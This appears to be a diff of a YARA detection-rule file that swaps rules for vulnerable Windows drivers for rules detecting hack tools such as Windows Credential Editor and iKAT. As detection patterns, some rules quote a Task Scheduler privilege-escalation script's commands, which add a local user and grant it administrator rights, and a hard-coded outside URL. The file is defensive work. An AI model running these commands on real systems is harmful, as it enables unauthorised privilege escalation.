-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }
+		$s0 = "1433" wide fullword
+		$s1 = "1433V" wide
+		$s2 = "UUUMUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUfUUUMUUU" ascii fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and all of ($s*)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Micsystechnologycoltd_Msiosys_Msiodriverversion_X_43BA : FILE
+import "pe"
+
+rule SIGNATURE_BASE_WCE_Modified_1_1014
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - MsIo64.sys"
-		author = "Florian Roth"
-		id = "6db1af54-b12d-5213-b184-7df7f628882e"
-		date = "2023-06-14"
+		description = "Modified (packed) version of Windows Credential Editor"
+		author = "Florian Roth (Nextron Systems)"
+		id = "536d1a7f-bda1-5c22-bf72-a177468e7c42"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5780-L5800"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "43ba8d96d5e8e54cab59d82d495eeca730eeb16e4743ed134cdd495c51a4fc89"
-		logic_hash = "910724e7bac9c9c83e703be52e43f4cd88dda344127f2ebc7aee01981467e9e7"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L738-L752"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "09a412ac3c85cedce2642a19e99d8f903a2e0354"
+		logic_hash = "f094d635aabea9b9101fad3d0d23ad37692317ae5b4f636296ee612752c4421f"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d004900430053005900530020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0049004300530059005300200054006500630068006e006f006c006f0067007900200043006f002e002c0020004c00540064 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003100200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00310020007800360034 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d00730049006f00360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00730049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0031 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d00730049006f00360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100390020004d00490043005300590053 }
+		$s0 = "LSASS.EXE" fullword ascii
+		$s1 = "_CREDS" ascii
+		$s9 = "Using WCE " ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_1078 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Ikat_Wmi_Rundll : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "30ef7f0d-e6f4-5a98-87c2-286ac64c3886"
-		date = "2023-06-14"
+		description = "This exe will attempt to use WMI to Call the Win32_Process event to spawn rundll - file wmi_rundll.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e3d80c95-d333-53cf-8165-b3a1e66ed00d"
+		date = "2014-05-11"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5803-L5823"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1078af0c70e03ac17c7b8aa5ee03593f5decfef2f536716646a4ded1e98c153c"
-		logic_hash = "e565dcf1bdc8ebaf90c1e42bf3e72ce561cb95f5977809fb9082bb430353dd9b"
-		score = 40
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L773-L794"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "97c4d4e6a644eed5aa12437805e39213e494d120"
+		logic_hash = "b857e17c790a97468ae69c8cbec6474ee38bea25bb04520516a2603996d4bd41"
+		score = 65
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$s0 = "This operating system is not supported." fullword ascii
+		$s1 = "Error!" fullword ascii
+		$s2 = "Win32 only!" fullword ascii
+		$s3 = "COMCTL32.dll" fullword ascii
+		$s4 = "[LordPE]" ascii
+		$s5 = "CRTDLL.dll" fullword ascii
+		$s6 = "VBScript" fullword ascii
+		$s7 = "CoUninitialize" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		all of them and filesize <15KB
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_26C2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Ikat_Revelations
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
-		author = "Florian Roth"
-		id = "dba48ad5-9b35-555e-814e-73b74f157b66"
-		date = "2023-06-14"
+		description = "iKAT hack tool showing the content of password fields - file revelations.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c5ef2c2a-c9c0-5c3a-bbcc-0b0949527850"
+		date = "2014-05-11"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5826-L5846"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "26c28746e947389856543837aa59a5b1f4697e5721a04d00aa28151a2659b097"
-		logic_hash = "2a6f460b66c7e94dfead7bdb3dc46a181ba2e33b40fca1812f0b412daf0a46c4"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L796-L813"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c4e217a8f2a2433297961561c5926cbd522f7996"
+		logic_hash = "0f3aa9e784beb7de8b560ecde8cc06d49e07f5e4ea4acb233ec9ac007179d7a3"
+		score = 75
+		quality = 60
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0035 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 }
+		$s0 = "The RevelationHelper.DLL file is corrupt or missing." fullword ascii
+		$s8 = "BETAsupport@snadboy.com" fullword wide
+		$s9 = "support@snadboy.com" fullword wide
+		$s14 = "RevelationHelper.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_CC68 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Ikat_Priv_Esc_Tasksch
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "14971376-05dc-59c2-bce7-498eabb52678"
-		date = "2023-06-14"
+		description = "Task Schedulder Local Exploit - Windows local priv-esc using Task Scheduler, published by webDevil. Supports Windows 7 and Vista."
+		author = "Florian Roth (Nextron Systems)"
+		id = "0786b313-3154-536b-b7eb-c4d8444a309f"
+		date = "2014-05-11"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5849-L5869"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cc687fe3741bbde1dd142eac0ef59fd1d4457daee43cdde23bb162ef28d04e64"
-		logic_hash = "26f1740a069d238aadb1922512e23184cb3cf34d9ef1ff1b942755a49fbd48b0"
-		score = 40
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L815-L841"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "84ab94bff7abf10ffe4446ff280f071f9702cf8b"
+		logic_hash = "6d0f755a758aaac4328f5f4343b424c03c2751ddad6a1dbe7c0332171c027945"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000390039 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "objShell.Run \"schtasks /change /TN wDw00t /disable\",,True" fullword ascii
+		$s3 = "objShell.Run \"schtasks /run /TN wDw00t\",,True" fullword ascii
+		$s4 = "'objShell.Run \"cmd /c copy C:\\windows\\system32\\tasks\\wDw00t .\",,True" fullword ascii
+		$s6 = "a.WriteLine (\"schtasks /delete /f /TN wDw00t\")" fullword ascii
+		$s7 = "a.WriteLine (\"net user /add ikat ikat\")" fullword ascii
+		$s8 = "a.WriteLine (\"cmd.exe\")" fullword ascii
+		$s9 = "strFileName=\"C:\\windows\\system32\\tasks\\wDw00t\"" fullword ascii
+		$s10 = "For n = 1 To (Len (hexXML) - 1) step 2" fullword ascii
+		$s13 = "output.writeline \" Should work on Vista/Win7/2008 x86/x64\"" fullword ascii
+		$s11 = "Set objExecObject = objShell.Exec(\"cmd /c schtasks /query /XML /TN wDw00t\")" fullword ascii
+		$s12 = "objShell.Run \"schtasks /create /TN wDw00t /sc monthly /tr \"\"\"+biatchFile+\"" ascii
+		$s14 = "a.WriteLine (\"net localgroup administrators /add v4l\")" fullword ascii
+		$s20 = "Set ts = fso.createtextfile (\"wDw00t.xml\")" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Windowsrcodenamelonghornddkprovider_Cpudriver_Windowsrcodenamelonghornddkdriver_159E : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Ikat_Command_Lines_Agent
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WCPU.sys"
-		author = "Florian Roth"
-		id = "4ca1b53c-7539-5e0e-8309-224a4a859480"
-		date = "2023-06-14"
+		description = "iKAT hack tools set agent - file ikat.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "35068d59-272d-55a6-b211-2c138276914c"
+		date = "2014-05-11"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5872-L5892"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "159e7c5a12157af92e0d14a0d3ea116f91c09e21a9831486e6dc592c93c10980"
-		logic_hash = "e4bcd8644bcc82c63d9d963aeb9a0a4250d8b3be3fb1122156148f4582fe6d48"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L843-L864"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c802ee1e49c0eae2a3fc22d2e82589d857f96d94"
+		logic_hash = "a39f8e388aa11c732156753f4a19aa9cc3ccd0437de30cdcc608926320a089b0"
+		score = 75
+		quality = 60
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041005300550053002000540044004500200043005000550020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b002000700072006f00760069006400650072 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e003100360033003800360020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e00310036003300380036 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043005000550020004400720069007600650072 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b0020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043005000550020004400720069007600650072 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020006200790020004100530055005300540065006b00200043004f004d0050005500540045005200200049004e0043002e00200032003000300036 }
+		$s0 = "Extended Module: super mario brothers" fullword ascii
+		$s1 = "Extended Module: " fullword ascii
+		$s3 = "ofpurenostalgicfeeling" fullword ascii
+		$s8 = "-supermariobrotheretic" fullword ascii
+		$s9 = "!http://132.147.96.202:80" fullword ascii
+		$s12 = "iKAT Exe Template" fullword ascii
+		$s15 = "withadancyflavour.." fullword ascii
+		$s16 = "FastTracker v2.00   " fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		4 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_1DDF : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Ikat_Cmd_As_Dll
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
-		author = "Florian Roth"
-		id = "54f03573-22a0-51ea-b3cd-201d27459cf1"
-		date = "2023-06-14"
+		description = "iKAT toolset file cmd.dll ReactOS file cloaked"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8d15b4b6-25f3-556c-bfa8-eba503c9c649"
+		date = "2014-05-11"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5895-L5915"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1ddfe4756f5db9fb319d6c6da9c41c588a729d9e7817190b027b38e9c076d219"
-		logic_hash = "23a5fb0826068df015769d604ff393d7d649b919efabd237a004c6946a358448"
-		score = 40
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L866-L884"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b5d0ba941efbc3b5c97fe70f70c14b2050b8336a"
+		logic_hash = "3f8390fb6eb16749e63379222a5899b811e7ccd6b3b219b60d7a621fd4595e7b"
+		score = 65
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020004d006900630072006f002d005300740061007200200049004e00540027004c00200043004f002e002c0020004c00540044002e }
+		$s1 = "cmd.exe" fullword wide
+		$s2 = "ReactOS Development Team" fullword wide
+		$s3 = "ReactOS Command Processor" fullword wide
+		$ext = "extension: .dll" nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of ($s*) and $ext
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_654C : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Ikat_Tools_Nmap
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "c2883a08-8832-514d-a472-e53370fe9a88"
-		date = "2023-06-14"
+		description = "Generic rule for NMAP - based on NMAP 4 standalone"
+		author = "Florian Roth (Nextron Systems)"
+		id = "be4858e6-a8f3-55eb-9c04-f4def838dde1"
+		date = "2014-05-11"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5918-L5938"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "654c5ba47f74008c8f49cbb97988017eec8c898adc3bb851bc6e1fdf9dcf54ad"
-		logic_hash = "f494a64914971b82f191becf020023de1139e5f466e5c1db9912d1d1edbdd0f2"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L886-L903"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d0543f365df61e6ebb5e345943577cc40fca8682"
+		logic_hash = "f538d807ed4904a2c321385a095a97bc0d718349f7eb31a367e521228412cef2"
+		score = 50
+		quality = 83
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0030002e0031003000370032 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "Insecure.Org" fullword wide
+		$s1 = "Copyright (c) Insecure.Com" fullword wide
+		$s2 = "nmap" fullword nocase
+		$s3 = "Are you alert enough to be using Nmap?  Have some coffee or Jolt(tm)." ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Marvintestsolutionsinc_Hwsys_Hw_FD38 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Ikat_Startbar
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HW.sys"
-		author = "Florian Roth"
-		id = "50ae31e8-41e0-5913-b04a-63b97aa9bbc2"
-		date = "2023-06-14"
+		description = "Tool to hide unhide the windows startbar from command line - iKAT hack tools - file startbar.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f29f15e9-aa29-519a-b4ad-c018aac68fd6"
+		date = "2014-05-11"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5941-L5962"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fd388cf1df06d419b14dedbeb24c6f4dff37bea26018775f09d56b3067f0de2c"
-		hash = "6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5"
-		logic_hash = "9307a3f6003f6b88d4384aad37803597d7444bcfae806a9f3d59c9a1e59d56e5"
-		score = 40
+		reference = "http://ikat.ha.cked.net/Windows/functions/ikatfiles.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L905-L925"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0cac59b80b5427a8780168e1b85c540efffaf74f"
+		logic_hash = "adb29d4903a771b0dab9dee8313878757ff12fc014da86291e32eb3ec60bf551"
+		score = 50
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570020002d002000570069006e0064006f007700730020004e0054002d00380020002800330032002f00360034002000620069007400290020006b00650072006e0065006c0020006d006f00640065002000640072006900760065007200200066006f007200200050004300200070006f007200740073002f006d0065006d006f00720079002f0050004300490020006100630063006500730073 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002e0038002e0032002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002e0038002e0032002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480077002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00480057 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00480057002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200031003900390036002d00320030003100350020004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$s2 = "Shinysoft Limited1" fullword ascii
+		$s3 = "Shinysoft Limited0" fullword ascii
+		$s4 = "Wellington1" fullword ascii
+		$s6 = "Wainuiomata1" fullword ascii
+		$s8 = "56 Wright St1" fullword ascii
+		$s9 = "UTN-USERFirst-Object" fullword ascii
+		$s10 = "New Zealand1" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_6E0A : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Ikat_Tool_Generic
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "140374de-63f5-5ea2-9546-9356d697f971"
-		date = "2023-06-14"
+		description = "Generic Rule for hack tool iKAT files gpdisable.exe, kitrap0d.exe, uacpoc.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a8064a26-09c0-59f1-bdf9-628a445014ff"
+		date = "2014-05-11"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5965-L5985"
